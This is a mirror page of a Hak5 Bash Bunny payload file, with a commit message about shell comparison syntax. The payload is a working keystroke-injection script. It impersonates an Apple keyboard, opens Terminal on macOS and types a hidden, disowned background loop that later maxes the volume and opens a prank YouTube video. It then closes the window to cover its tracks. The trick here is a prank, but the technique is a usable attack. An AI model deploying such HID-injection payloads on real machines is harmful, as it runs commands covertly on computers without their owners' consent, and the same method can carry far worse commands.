mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
While comparison = and == are identical on bash (refer http://www.tldp.org/LDP/abs/html/comparison-ops.html ), double equals behave differently on zsh (refer https://unix.stackexchange.com/questions/255480/why-does-behave-differently-inside-in-zsh-and-bash ). Single = is also equally POSIX compliant. Co-Authored-By: Minh Thien Nhat Nguyen <nhat286@users.noreply.github.com> Co-authored-by: Minh Thien Nhat Nguyen <nhat286@users.noreply.github.com>
25 lines
485 B
Plaintext
Executable File
25 lines
485 B
Plaintext
Executable File
ATTACKMODE HID VID_0X05AC PID_0X021E
|
|
|
|
time=1734
|
|
|
|
LED R 200
|
|
|
|
Q GUI SPACE
|
|
Q DELAY 200
|
|
Q STRING terminal
|
|
Q DELAY 100
|
|
Q ENTER
|
|
Q DELAY 1000
|
|
Q GUI n
|
|
Q DELAY 1000
|
|
|
|
Q STRING hi=0\; ho=\$\(date \'+%H%M\'\)\; while [ \$hi = \'0\' ]\; do if [ \$ho = $time ]\; then osascript -e \"set Volume 9\" \&\& open \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \; hi=1\; fi\; ho=\$\(date \'+%H%M\'\)\; sleep 1\; done \& disown
|
|
|
|
# close up shop
|
|
Q DELAY 1000
|
|
Q ENTER
|
|
Q GUI W
|
|
Q ENTER
|
|
|
|
LED G
|